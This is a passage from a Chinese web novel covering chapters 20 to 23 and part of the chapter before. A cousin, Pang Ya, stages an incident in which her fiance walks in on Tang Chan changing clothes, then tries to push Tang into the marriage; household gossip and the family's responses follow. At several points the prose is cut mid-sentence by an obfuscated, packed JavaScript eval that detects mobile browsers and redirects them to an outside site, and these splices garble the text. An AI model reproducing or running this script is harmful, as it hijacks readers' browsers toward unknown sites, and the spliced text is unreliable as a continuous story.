丫鬟慌忙告罪,庞雅也连忙站起,拿起手帕帮汤婵擦着衣服,满是歉疚道:“这……真是对不住表姐,我不是有意的……” “没事,不打紧。”汤婵并没放在心上,笑着起身,“我去找个地方换衣裳。” 庞雅想了想道:“戏楼旁边有个小院,不如表姐就去那吧,我担心有客人需要,刻意吩咐人烧热了屋子的。” “也好。” 戏楼位置偏僻,跟湛露院成对角,外头天寒地冻的,汤婵也不想走远路回到湛露院,便应了庞雅的提议。 走的时候,汤婵余光看见主桌好似也有人离席,但她没多注意。 双巧回去取新衣裳,汤婵领着秋月去了庞雅说的小院。 等了一会儿,取衣裳的双巧回来了,两个丫鬟服侍汤婵穿衣。 双巧一路过来四处打量,入目景色很是萧瑟,不由有些纳闷,“这儿一路怎么都什么没人?” 秋月猜测道:“戏楼位置本就偏僻,想来这个小院平时也是闲置,若不是老夫人办寿,也不会用到这里。” 两人一边说,一边帮汤婵摘掉身上琳琳琅琅的饰品收好。 女儿家衣裳繁复,此时又是冬天,过了快一盏茶的功夫,汤婵才算把身上的旧衣服脱下来。 刚要把湿了的中衣也换下来,房门却突然传来了被推开的声音,随即忙乱的脚步声伴着一道带着焦急的清亮声音传来,“祖母!” 等等……这是男声! 汤婵扭头看去,呆立当场的宋羲和映入眼帘。 秋月发出一声尖叫,双巧连忙抓过一旁的大氅盖在汤婵身上,高声喝到:“出去!” 这一声惊醒了呆滞的宋羲和,他霎时间面红耳赤,赶紧低头避开,脑中一片空白。 刚刚他正和庞家的几位表弟与未来的岳父大人喝酒,有小丫鬟给他传话,说祖母不胜酒力,身体不适,呕吐不止,在戏楼旁边的小院休息,叫他赶紧前来看望。 他唬了一跳,心急如焚匆匆赶来,怎么一进门,却撞见了女儿家换衣服! 宋羲和手忙脚乱地退了出去。 这时门口却又传来脚步声,“表姐,你换好了没……表哥?” 庞雅带着丫鬟走了进来,却没想到遇见了宋羲和。 她有些惊讶,也有骤然遇上未婚夫君的不自在,“表哥怎么在这儿?” “我……”宋羲和涨红了脸,却说不出话。 庞雅只当他是羞赧,不由抿嘴笑了下,刚要说什么,却突然想起什么,脸色骤然一变。 她提起裙摆就快步往里走,果然见到屋里正在整理衣衫的汤婵。 汤婵心中一跳,脑中闪过什么,只觉得要不好。 果然,只见庞雅脸色唰地变白,摇摇欲坠。 没等汤婵解释,庞雅转头看向追过来的宋羲和,眼泪扑簌扑簌地掉下来,“表哥,你……你怎能这样莽撞……” 说着她像是承受不住,转头跑了出去。 20. 第二十章 庞雅脸色苍白地跪在老夫人膝前,梨花带雨,无声啜泣,哭得不能自己。 老夫人和宋家老夫人脸色严肃,听刚刚查清事情经过的任妈妈讲述来龙去脉,“……戏楼东边是表姑娘换衣裳的小院,西边另有座小楼,宋家老夫人便在小楼休息,应该是传话的小丫鬟没说清楚,给宋家少爷带路的下人弄错了方向……今儿府上忙碌,人手都被调动着办宴,小院没人看守,宋家少爷一时心急,便闯了进去,恰好撞见正在换衣裳的表姑娘……” “那个传话的丫鬟呢?”老夫人问。 任妈妈看了一眼跪在堂前的宋羲和,欲言又止。 宋羲和又是愧疚又是尴尬,恨不得找个地缝钻进去,“回老夫人的话,晚辈……认人不太在行,只记得是个穿着粉色袄、梳着双丫簪的小丫鬟,却记不得脸了。” 今日办宴,侯府得有几十个如此打扮的小丫鬟,想找人是找不到了。 老夫人默然,过了片刻开口道:“这事……太不巧了。” 这是给事情定了性,一个不巧的“意外”。 汤婵坐在汤母身旁,神色不明。 是啊,可真不巧,她的裙子不巧被弄脏,下人不巧没说清楚位置,庞雅不巧出现在现场…… 只是汤婵心中犹有疑惑,若是庞雅设的局,她怎么能拿捏地这么准? 如果宋老夫人没有因为身体不适离席,或者如果宋羲和没有心急闯入,这件事情都不会发生。 宋羲和竟还有个略微脸盲的毛病,想找出当初谁传了话都不知道! 整件事情透着说不出的诡异,她看了一眼庞雅,对方正掩面小声抽泣,大颗泪珠从庞雅眼眶里滚落,她带着哭腔道:“老祖宗,我……我再没脸嫁给表哥了!” 老夫人沉默片刻,转头对宋老夫人道:“老姐姐,婵姐儿虽然不在我跟前长大,但处了这么久,性情处事都不俗,是个好姑娘。” “这事是羲哥儿鲁莽。”宋老夫人沉着脸,神情不太好看,两道法令纹显得更深了。 她看了一眼汤婵,“羲哥儿愿意纳婵姐儿做妾,只我们不是那等没有规矩的人家,须得等羲哥儿娶了正妻之后,再迎婵姐儿进门。” 做妾? 庞雅的抽泣声微不可察地一顿,老夫人眉头轻动,刚要说些什么,汤母却先忍不住开口反驳,“宋老夫人,婵姐儿是正经人家的女儿,绝不给人做妾的!” 她的语气很是不高兴,然而宋老夫人似是不理解汤母为何如此激动,疑惑道:“姑娘闺誉既已受了损,不给我孙儿做妾,还想如何?” 汤母没想到宋老夫人会说出这样的话。 她简直不可置信,分明是你家儿子冒冒失失闯了祸,给我女儿带来了无妄之灾,如今不仅要让我女儿来承担后果,还要来嫌弃我女儿!? 汤婵感受到汤母微微颤抖的身体,伸出手扶住了对方的手臂,试图抚慰汤母激烈的情绪。 她视线一一扫过在场众人。 庞雅因着这事心生芥蒂,不愿再嫁进宋家;老夫人愿意把结亲人选换成汤婵,宋家老夫人却瞧不上汤婵这个落魄没爹的女儿,她不愿让汤婵占去宝贝孙儿的正妻之位,只接受汤婵做妾,估计心里还指望着能照常娶庞雅进门。 汤婵低垂眼睫,可惜她要的,跟两位老夫人要的都不一样。 “老祖宗容禀。” 汤婵轻声开口,说了出事以来的第一句话,“宋家表哥当时心中急切,进门前就呼唤祖母,发现不对后便立即守礼避开,我的丫鬟拦得更是及时,想来表哥什么都没看清才是。” 宋羲和一怔,欲言又止,老夫人与宋老夫人更是出乎意料。 宋老夫人今天第一回正眼瞧了她一眼。 汤婵的意思很明确,不管宋羲和是不是真的看到了什么,她本人并不打算要个说法,为了两家名誉,当作这件事情没有发生是最好的。 老夫人与宋老夫人对视一眼,二人心中此时想法都是类似。 若是能遮掩过去…… “表姐!”却听庞雅激动地开口,“表姐万不可如此,我什么都看到了……怎么能让表姐为了我委曲求全!” 一丝怪异从汤婵心中一闪而过,但她来不及细琢磨,只摇了摇头道:“表妹并未得知事情全貌,确实什么都没发生,我怎么能任由表妹误会,踩着表妹成全自己?” 庞雅计划了所有,却万没想到汤婵会不认。 她心里一急,不由转头看向宋羲和。 宋羲和此时已经羞愧地面红耳赤,但他左右为难,根本不知道如何是好——若不承认,他便是占了便宜却没有担当的小人,可若是他承认,汤表妹的名节便要毁了。 事情就此僵持住,最后还是老夫人发了话,“今日天色已经晚了,都先回去休息吧,明日再说。” * “宋家简直欺人太甚!” 回到院里,汤母声音里满是怒气,“他家的哥儿冲撞了你,居然还想让你做妾……简直不知所谓!” 意外是一回事,弄出意外来,负不负责又是一回事,宋家的态度,真是叫人唾弃! 汤婵劝慰汤母,“宋家少爷闯进来时,我穿着中衣呢,没事。” 不同于怒火冲天的汤母,汤婵很难真心实意地生气。 作为现代人,被人乌龙看到个换衣服,还是中衣都穿着的情况,实在是积攒不出什么被玷污的愤怒,反倒是满满的吐槽。 这坑爹的古代,□□、肌肤相亲是毁了名节,中衣穿得好好的被看一眼也是毁了名节,连传出流言蜚语都是毁了名节。 结果她这样的态度立刻就被汤母教训了,“我还没有说你!老夫人还未开口,你插什么话?” 若是老夫人做主,宋家负起责任,这倒不失为一门好亲。 结果这丫头倒好,根本不把自己的名节当回事,竟然一张口就把事情否了! 汤婵略一思考就猜到汤母的想法,一阵牙疼,“您别是想着让我嫁进宋家吧?” 她可一点儿都不想嫁进宋家,这样的门户最重规矩,伺候太婆婆这种事情无可避免。 更重要的是,宋羲和一支三代单传,要是汤婵真嫁了过去,怕不是天天被盯着生儿子,要是生不出来,很有可能就得被逼着吃药、扎针、治病、喝各种偏方…… 想想那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405520|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日子,汤婵就觉得窒息。 汤母却不知道汤婵的想法,她顿了顿,小声道:“虽然对不住雅姐儿,但宋家少爷着实是个不错的……” “停,”汤婵头痛,赶紧抬手打住,“您想得简单了,宋老夫人瞧不上我,就算看在老夫人的面子上,强压着不满把我娶进门,有这么个疙瘩在,又怎么可能真心对我?” “宋老夫人看起来本就不好相与,要是再心怀芥蒂,天天给我立规矩,我的日子得有多难过?” 汤母一噎,不得不承认汤婵说得有理。 但正如同汤婵无法重视什么劳什子贞洁,汤母也没法办让这件事轻飘飘地过去。 她愁肠百结,“那这事儿怎么办?世上没有不透风的墙,万一不小心传出去了,你还怎么做人!” 言语如刀,锋利之处甚至可杀人,涉及女子名节更是如此,汤母无法不担忧。 汤婵自个儿无所谓,但也不能说汤母是杞人忧天,便只得安抚汤母道:“在场的人只有秋月、双巧和大表妹的一个丫鬟,老夫人封口令又下得及时,知情人都是主子的心腹,最是知道什么该说什么不该说,事情传不出去,您不必太担心——哪怕为了侯府的名声着想,老夫人也不会叫这事儿传出去的。” “这话说得轻巧,我哪里能不担心。”汤母愁眉苦脸地叹气,不过后半句话到底有些效果,汤母虽然嘴上没表达出来,但心下确实稍微轻松了一点。 只是她眉头始终没有舒展,“说到老夫人……唉,你说咱们进京也有段日子了,可老夫人好像对你的亲事并不上心,也不知道她老人家究竟什么想法……” 汤婵心说,是把我当工具人的想法,老夫人跟侯夫人斗法一日没出结果,她就能在侯府多赖一日白吃白喝。 不过她倒希望庞逸的亲事定的越晚越好,她的亲事也越晚越好,不然出嫁之后成天面对丑男人,哪有现在的日子舒坦? 只是汤母今日已经颇受打击,就不再跟她说这些话了。 好不容易把满腹愁绪的汤母劝回去休息,外头小丫鬟来报,庞雅来了。 …… “表妹坐,”汤婵示意丫鬟给庞雅递上热茶,“这样晚了,表妹怎么还不休息?” 庞雅苦笑着摇摇头,“我睡不着。” 她捧着茶盏,咬了咬唇问道:“表姐……你不应宋家的事,是因为顾忌我吗?” 汤婵只觉得心里那股怪异的感觉又来了,她抿了口茶,“自然不是。宋老夫人不喜我,我不愿自讨苦吃。” 庞雅一愣,“怎么会呢?宋老夫人看着严厉,其实性子极好,再说上元那日,表姐之前不是跟宋老夫人相处得不错?” 汤婵不语。 面对庞雅这个侯府千金,宋老夫人的性子当然好了,换成汤婵,宋老夫人只有在无关紧要的事情上和善,可只要扯上她的宝贝孙儿,汤婵就会立刻从“一个还不错的小辈”,变成“想攀她家高枝儿的乡下丫头”。 庞雅还在劝说汤婵,“……表姐这样好的人,相处久了,宋老夫人总能看到,不会不喜欢表姐的。” 汤婵冷不丁问道:“表妹很想让我嫁进宋家?” 21. 第二十一章 庞雅话音一顿。 “倒也不是。”庞雅绞紧手中绣帕,状似不安地低下了头,“只是若因为我,表姐受了委屈还要往心里咽,我心里过意不去……” “我不委屈。”汤婵放下茶盏,“意外发生,没人能提前想到,也控制不了,妹妹不必放在心上。” 庞雅连连摇头苦笑,“表姐这话,又至我于何地……” 庞雅已经快忍不住情绪了。 她又气又急,不由在心中嗔怨,表姐怎地这样不争气! 自从决定要摆脱与宋家的婚事,庞雅就开始暗中计划。 从梦里,庞雅知道了宋老夫人贪杯却酒量不好,知道宋羲和与祖母感情极好,得知祖母身体不适,宋羲和必定焦急如焚,行事莽撞。 至于宋羲和记脸困难,自然也是梦里知晓的——哪怕宋羲和找出了传话的小丫鬟也不怕,她于那个小丫鬟有大恩,多年前她曾随手赏赐,救过小丫鬟亲人的性命,小丫鬟记在心里,一直想找机会回报。 在梦里,那个丫鬟作为配房跟自己嫁到宋家,有一次为了护她,甚至不惜自己的性命。 庞雅不想将事情闹大,变成丑闻,影响她自己的婚事,又不能留下把柄,只能用这样巧合的方式,让宋家表哥看到正换衣服的表姐。 这样二人的名声都不会太受影响,而且哪怕旁人怀疑事情太巧,没有证据,猜测就是猜测,不会牵连到她身上。 多番推敲,事情总算是让她办成了。 正如她所预料,老夫人将事情定性为意外,而出了这种事,最好的解决方式便是让表姐代替自己嫁进宋家。 只要汤婵不松口,宋家定要负责。 只是她千算万算没有料到,表姐得了这个机会,竟不知道紧紧抓住,反而不承认自己被占了便宜! 庞雅实在不敢置信,哪有姑娘会不在意这种事!? 若是两位老夫人真的听信了汤婵的说辞,当作无事发生,不愿意退掉婚事,依旧让她嫁给宋羲和怎么办? 那她的精心算计,不就成了一场空? 想到这里,庞雅实在是坐立不安,她不甘心地问汤婵:“表姐怎么能甘愿吃这样一个哑巴亏?” “我是真的不在意。”汤婵道,“别说他没看到什么,就算真看到了,我也不会嫁。” 庞雅一急,“表姐现在不嫁宋家,就不怕以后被推进火坑?” 汤婵眯了眯眼,“表妹这话是什么意思?” 庞雅说完才反应过来说了不该说的,她心下懊丧不已,咬了咬唇找补道:“就像表姐说的,这事是个意外,我不怪表姐,我只是觉得宋家是门好亲,不希望表姐因为我错失了这样的好机会……” 汤婵此时已经咂摸出了意思,庞雅话里话外,怎么都像是不愿嫁进宋家,想确保她去顶缸。 她很是无语,你不愿嫁没问题,想法设法退亲也没毛病,可你想的法子非得拉别人下水垫背算什么事? “宋家表哥确实没看见什么,表妹若是不信,我也无话可说。若是表妹因此生出心结,不愿嫁进宋家,如实告知老夫人便是,老夫人真心实意疼爱表妹,也定能够理解。” 庞雅胸中一滞,表姐怎么站着说话不腰疼! 表姐也是寄人篱下,应该与自己同病相怜才是啊! “表姐此言差矣,”她攥紧帕子,露出一个苦笑,“我虽然姓庞,却只是个庶女,无根无依,被祖母收养后,一直在祖母手下战战兢兢,过得艰难,唯恐惹得祖母稍不顺心,被祖母厌弃。婚姻大事,本就是长辈做主,我又怎么敢忤逆她老人家……” 汤婵听她诉苦,心中毫无波澜。 你这样的叫艰难,那没了生母,父亲漠视,嫡母苛待,又没有祖母撑腰,在后宅挣扎求生的小姑娘又怎么说? 她心里微微摇头,也不知道老太太听到这些话会不会心寒。 * “老夫人,”任妈妈轻手轻脚来到老夫人跟前禀告,“大姑娘到访湛露院,跟表姑娘聊了许久。” 老夫人垂着眼,“都说了些什么?” “没太能听清,”任妈妈低声答,“依稀是大姑娘在劝表姑娘不要吃闷亏,嫁进宋家……” 老夫人不知想些什么,半晌未说话。 第二天,汤婵一大早便被老夫人单独叫去问话。 老夫人本还担心汤婵心中郁结,晚上休息不好,结果一见人就知道自己想多了。 汤婵面色红润,精神饱满,哪有半点晚上没睡好的模样? 老夫人将关怀的话默默咽了回去,肃着脸郑重问道:“婵姐儿,你可想好了?” 这是在问她昨天“只当事情没发生,不打算追究以此嫁入宋家”的决定。 汤婵点头,“回老祖宗话,想好了。” “也好。” 老夫人得了答话,也没再追问,放缓语调道,“我知晓了,你下去吧。” 等汤婵离开,老夫人便将宋老夫人请了过来。 她叹了口气,对宋老夫人开门见山道:“老姐姐,羲哥儿是个好的,可惜咱们怕是没有做亲家的缘分了。” 这意思是亲事作废,要解除婚约了。 宋老夫人很是惊讶。 昨夜思索之后,宋老夫人不得不遗憾地承认,想照常娶雅姐儿怕是不可能了。 只是宋家也不可能迎汤家姑娘进门,宋老夫人本来还想着要怎么拒绝,没想到老夫人这样容易便松了口。 既是这样,她也愿意投桃报李。 这事说起来羲哥儿有不妥之处,宋老夫人便将退亲的缘由揽在自家身上,“是,谁成想羲哥儿得了高僧批命,说是不好早娶,总不能耽误了雅姐儿。” 这本是她准备好用来拖汤家姑娘的借口,宋老夫人稍一停顿,“您别怪我才是。” 老夫人哪里听不出来,宋老夫人这句莫怪,不止指明面上的庞雅,也在说暗里被拒绝的汤婵。 宋羲和父亲早亡,家世没落,需要一个有背景的妻子,汤婵再好,也只是侯府庶房的表姑娘,宋老夫人不愿娶一个没有娘家的丧父女儿,老夫人能理解,却不代表能接受。 两人多年的交情怕是要淡咯……老夫人心头闪过一丝遗憾,面上如常道:“这都是老天注定的事,有什么可怪的呢?” 宋老夫人微顿,“您说的是。” 商议完送还聘礼、作废婚书等诸多事宜,宋老夫人从福禧堂出来,去跟在客院的孙儿汇合。 结果好巧不巧,半路遇到正要去找庞盈的汤婵。 汤婵见到宋老夫人也有些意外,但她很快反应过来,笑着招呼,“宋老夫人。” 对方应该已经从老夫人处得知她不会嫁进宋家,二人以后怕是没什么交集,汤婵向宋老夫人行了一礼,“您多保重,祝令孙金榜题名,前程万里。” 看着她落落大方的样子,宋老夫人突然有种奇怪的感觉,这位表姑娘…… 但不管怎样,只丧父这一点,便不可能进宋家的门。 宋老夫人收束心思,点了点头当做招呼离开了。 她找到宋羲和,将退婚的消息告知孙儿。 宋羲和猛地抬头,半晌回不过神来。 宋老夫人看他魂不守舍的样子,叹了口气,“别再想了,都是意外,该是你们命中注定有缘无分,不必太过介怀。” 宋羲和越想越是内疚,他不仅愧对庞家表妹,更是对不起汤家表妹。 “祖母,汤家表妹……” “羲哥儿,”宋老夫人略微提高语调打断了他的话,“你只是因为得了高僧批命,才不得不与庞家大姑娘退亲,跟汤家姑娘有什么关系?” 宋羲和一愣,随即羞愧地垂下了头。 他性情纯善,总是过不去自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送走传话的任妈妈,侯夫人坐回到炕上,继续慢悠悠地翻账册。 潘妈妈在一旁给侯夫人续茶,面露不解问道:“老夫人素来把大姑娘当心肝,怎地突然将她的婚事推到您这儿了?” 侯夫人哼笑了下,“老太太也是惨,掏心掏肺,竟养出了个白眼狼,这是冷了心,不愿意再管啦。” 她叹了口气,“又给我找麻烦,雅姐儿这种人,只记仇,不念好,难办得很呐……” 潘妈妈一愣,反应过来低声道:“是宋家少爷跟表姑娘那事?” 侯夫人微微一叹,“咱们家大姑娘,可把别人当成傻子呢。” 世上哪有那么巧合的事? 光弄脏婵姐儿的衣裳、给婵姐儿指地方这些也就罢了,还恰好领着丫鬟撞见,又咬死婵姐儿被看了身子,闹大事情口口声声说不嫁,这态度就很值得推敲了。 想到这儿,侯夫人还有些懊恼,没想到这丫头也盯上婵姐儿了。 老话说得好,先下手为强,后下手遭殃,差点儿就叫庞雅给抢了先。 得亏是换人的事没成,不然她再上哪儿找一个生不出儿子的汤家丫头去? 侯夫人转了转手上的镯子,以防意外,不好再等了,雅丫头闹出来这件事,正好可以利用。 她叫潘妈妈近前来,如此这般吩咐了一番。 潘妈妈抑制不住内心惊讶,“您这是……” 侯夫人呷了口茶润润喉咙,“你不必多问,照做就是了。” 潘妈妈应下。 “对了,等会儿把雅姐儿叫来一趟,”侯夫人眼中闪过一丝冷意,“我可不能再由着她闹出事来。” 22. 第二十二章 “母亲叫我?” 庞雅正沉浸在摆脱厄运的喜悦里,潘妈妈突然上门,说请庞雅去侯夫人院里一趟。 “请潘妈妈稍等,我马上就过去。” 虽然不解,但这并没有影响庞雅的好心情,直到见到侯夫人,被侯夫人兜头泼了一盆冷水—— “老祖宗精力不济,把你的婚事交给我操办了。”侯夫人慢条斯理,“只是你刚刚同宋家退亲,得等风头过一过,我才好给你寻摸亲事,你可明白?” 庞雅如遭雷击,为何她的婚事会突然被交给嫡母? 嫡母可是能狠心把表姐嫁给锦平侯的人,她与嫡母半点都不亲近,万一嫡母也给她寻这样一门亲可怎么办! 庞雅好一会儿才稳住表情,咬着唇担忧道:“母亲,老祖宗有什么不妥?女儿不孝,竟是一点也没有发觉……” 侯夫人见她这幅做派,心里一阵腻歪,但面上还是和善地道:“不要多想,只是择选亲事最是疏忽不得,耗时漫长,又耗费精力,老祖宗虽挂念你,但年事已高,觉得心有余力不足而已。你放心,她老人家吩咐,定要我给你找一门合适的亲事。” “……是。” 庞雅顺从地垂下头,心头一片阴翳。 老夫人不再管自己的亲事,是不是因为自己违逆了老夫人的意思? 果然不能将老夫人的疼爱当真! 她已经尽力周旋,不想引得老夫人不满,然而只是稍有不合老夫人的心意,自己前头十几年尽心服侍、承欢膝下,便都成了空! 若是因为老夫人对自己起了猜疑之心……没有证据,就给她定了罪,老夫人有把她当成孙女看吗? 庞雅只觉得心凉。 果真这世上谁都靠不住,能为自己打算的只有自己…… * 未出正月,又下了一场雪。天气阴沉,寒风吹得树枝乱舞,雪花夹杂着冰雨砸落在屋檐,发出噼啪的声响。 廊下,两个婆子缩着手,一边烤火一边窃窃私语。 “诶,你说大姑娘和宋家的婚事,多好的一门亲,怎么就退了呢?” “嗯?不是说宋少爷命中不宜早娶吗?” “嗤,这说法一听就是哄鬼,我才不信,”头一个说话的人面露不屑,随即神神秘秘道,“我可是听说,这里头另有缘故!” “什么?”另一个唬了一跳,“究竟怎么回事?” 第一个人便挤眉弄眼地分享秘闻,“……老夫人过寿那日,宴席一结束,大姑娘就哭着进了福禧堂,随后惠姑奶奶同表姑娘还有宋家人也都到了,下人全被遣了出去,又过了一天,大姑娘跟宋家少爷和婚事就不成了!你细细品一品,这里头能没有事?” “嘶……”另一个一琢磨,“照你这么说,确实不对劲!” “可不是!”八卦的婆子直拍大腿,“怕是宋家少爷跟表姑娘有点什么事,被大姑娘发现了!我还听说,老夫人本想让表姑娘嫁给宋家少爷,可表姑娘是什么出身,人家宋家根本没瞧上!” “还有这种事?”听着八卦,另一个婆子也挺兴奋,“表姑娘确实跟大姑娘比不了,不过没想到,表姑娘居然是这种人……” “知人知面不知心啊!” 二人交头接耳,说到兴处,发出一阵猥琐的笑。 “你们在说什么?” 一道声音从背后传来,婆子嬉笑着回头去看,却在看清来人的一瞬间吓得魂飞魄散,“世子!” 庞逸怒火中烧,“背后嚼舌,妄议主子,自个儿领板子去!” 不理磕头求饶的婆子,庞逸抬脚进了屋,越想越是生气。 小厮筒子连忙躬身上茶,劝道:“世子消消气……” “可恶!”庞逸一拍桌子,“府里为何会有这等传言?” 他只知大妹妹庞雅与宋家退亲,却不知其中内情,筒子凑到他跟前,低声解释了来龙去脉。 “什么?”庞逸听完更恼了。 本以为宋家表哥是个好的,可谁成想,竟是个不负责任的懦夫,冲撞了表姐,辜负了大妹妹,却还跟没事人一般! 宋家又是什么高门不成,还敢嫌弃表姐? 如今竟还惹得外界胡乱猜测,使表姐名誉受损……庞逸火冒三丈,“就没什么办法不成?” 筒子叹了口气,“总不能大张旗鼓澄清,这种事都是越描越黑,只能等事情随着时间慢慢过去。” 他嘀咕道:“不过要说办法吧,也不是没有……” “嗯?” 庞逸本还在不忿,听到这儿赶紧问:“什么办法?” 筒子连忙摇头,“没什么没什么,奴婢也是瞎想的……” 庞逸已经被吊起来胃口,哪会放过他,“快说!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405522|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >筒子见推脱不得,才小声道:“奴婢就是觉得,若是表姑娘能许一个比宋家更好的人家,比如像世子爷这般的人物,流言蜚语自然就不攻自破了。” 他连忙补充,“奴婢就是这么一说……” 庞逸却已经听了进去,眼睛不由猛地一亮。 若是他娶了表姐…… 庞逸之前没怎么想过娶妻的事儿,但若是能得到一个像表姐一样支持他、尊重他的妻子,还恰好能帮到表姐…… 庞逸脸上一红,使劲儿拍了一下筒子的肩膀,“好筒子,我怎么就没想到!” 他腾地站了起来,一股热血上头,没理会筒子的阻拦,抬脚出门冲到了老夫人面前。 “老祖宗,我娶表姐吧!” 老夫人本来看见孙子请安还笑呵呵的,结果被庞逸这一句砸了个头晕目眩。 她脸色大变,斥道:“胡吣什么!不顾你表姐的闺誉了!?” 庞逸被吼得懵住了,老夫人看他这呆瓜样,气不打一出来,抓起一旁的如意狠敲了一下庞逸的脑壳,骂道:“你这话传出去,别人只会猜测你表姐是不是狐媚勾引,要是你想让你表姐三尺白绫吊死,尽管往外说去!” 庞逸吓了一跳,随即脸通红,这才意识到不合适,赶紧道:“老祖宗,孙儿错了!” “多大的人了,还这么不稳重!” 老夫人兜头把庞逸好一顿教训,“赶紧下去,再让我听见你这话,打断你的腿!” 庞逸赶紧厚着脸皮凑上去安慰,“老祖宗别恼,可不能气坏了身子。” “但孙儿是真心的……” 话还没说完,老夫人又要抬手敲他,庞逸赶紧捂住脑袋。 老夫人骂骂咧咧,“你这混小子,生来就是讨债的是吧?快出去,别老在这儿气我。” 庞逸赶紧捂嘴。 反正老祖宗已经知道了自己的心思,剩下的下回再说。 他又好一通撒娇卖乖,确保老夫人消了气,才告退离开。 老夫人倚在炕上,揉了揉太阳穴,“这小子,都这么大了,还不知事。” 得亏屋里人不多,又都知道轻重,不然有的麻烦。 任妈妈轻手轻脚递来一盏茶,“世子也是一片赤子之心。” 老夫人品了口茶,又把茶盏递了回去,闭上眼睛养神,“府里头都怎么说婵姐儿的?” 23. 第二十三章 任妈妈把茶盏放下,转而给老夫人捶腿,低声委婉回道:“……不算太好听。” “表姑娘出身在这儿,有那起子不知事的,便传小话说表姑娘勾搭宋家少爷,想嫁进宋家,结果却被宋家嫌弃——自然,表姑娘与人为善,信的人不多就是了。” 老夫人皱起眉头,十分不悦,“这都传的什么东西,老大媳妇儿怎么管的?再听见说这话的,拉下去打板子便是,下人妄议主子,像什么样子。” 任妈妈应了。 隔了一会儿,老夫人又问,“你觉得,婵姐儿这丫头怎么样?” 任妈妈眉眼恭敬,神色不变,“表姑娘是个和善人,老奴听说,湛露院里伺候的,就没有说她不好的。” 老夫人沉默片刻,低声喃喃,似是自语,“她小时候跟着惠娘来过几回,我只记得是个怯懦柔弱的,当初叫惠娘带她上京的时候,没想过把她说给逸哥儿——倒也不是嫌弃她出身低,只是俗话说三岁看老,逸哥儿是世子,未来会继承爵位,侯府来往的,又都是皇族贵胄、王妃诰命,一个性子柔弱的丫头,哪能担得起侯府主母的责任? “但如今看下来,这丫头还真是跟小时候不一样了。便说宋家这事儿,搁一般的姑娘家,说不定就要羞得一头碰死了,但你瞧她,事情发生之后,冷静地简直不像话,根本瞧不出是遇上事的人——处变不惊,这才是大家气度!” 任妈妈柔声接道:“到底有一半侯府血脉。” “是啊,”老夫人叹道,“最主要的是,婵姐儿这丫头,竟能和逸哥儿处得这般好……” 这话任妈妈就不能接了,只匀速按着老夫人的腿脚。 过了半晌,只听老夫人微微叹息,“可惜了……她爹若是好好的,再往上走一走,不说总督巡抚、封疆大吏,一个布政使总跑不了……” * “夫人。” 潘妈妈面带喜色地进门,在正对着铜镜试首饰的侯夫人耳边道:“夫人测算无疑,世子果真在老夫人面前求娶表姑娘了!” 侯夫人并没有露出意外之色。 “咱们世子是个简单赤诚的人,”侯夫人微微一笑,“简单赤诚才好啊。” 她示意潘妈妈收起刚得的赤金头面,“老夫人怎么说?” 潘妈妈一边动作一边道:“老夫人训斥了世子一顿,让世子不要拿表姑娘的闺誉开玩笑,随后给在场的人下了封口令,绝不许外传。” 侯夫人转着镯子,若有所思。 “侯爷回来了。” 外头传来通报声,侯夫人收起思绪,迎了上去,亲自服侍庞侯爷换衣服。 她将大氅的冰粒跟雪花拍落,“今儿天气可真够差的,侯爷没冻着吧?” 庞侯爷哈哈一笑,拍了拍有些发福的肚皮,“没事,我这一身肉,倒也不白长。” “可别仗着体格好就不当心,不好好保养,以后可有您受的。”侯夫人嗔他一眼,递过去一盏热茶,“赶紧暖暖身子,” 庞侯爷也不顶嘴,笑着点头应是。 热茶温度正好,一口进肚,整个身子都熨帖起来。 他问起庞雅道:“雅姐儿这两天如何?” 庞雅退婚的事,侯夫人当天就告诉了庞侯爷,庞侯爷担心女儿情绪受影响,每天总要问问情况。 “都挺好的,只担心给咱们添了麻烦。”侯夫人勾起笑道,“雅姐儿素来懂事,不愿叫长辈们操心。” 庞侯爷连忙道:“确实要辛苦夫人了。” 侯夫人的笑真切了些,“儿女婚嫁,本就是我身为嫡母的职责,侯爷这话严重了。” 她叹了口气,“只是不知道还能不能寻到比宋家更合适的。” 想到宋羲和,庞侯爷也有些遗憾,“可惜了,宋家那孩子是个好的。” “谁说不是呢,可惜缺了点缘分。”侯夫人微叹,转而提起了另一件事,“雅姐儿的婚事暂时定不下来,不过二房骏哥儿要办喜事了,也好冲一冲。” “今儿二弟妹还说,收到了钱家来的信,钱家大爷夫妻都来给他家姑娘送嫁,算算日子,如今已经在路上了,下个月便能到。” 钱家是大少爷庞骏的未来岳家,钱老太爷官至福建左布政使,庞二老爷在福建为官时,与钱家大房定下了儿女亲事。 庞侯爷果然被转移了注意力,感慨道:“我还记得大侄子刚出生的时候呢,这一晃都要成家了。” “日子可不就这样快?”侯夫人笑,她顿了顿,“骏哥儿都要成亲了,逸哥儿的亲事,是不是也该打算起来 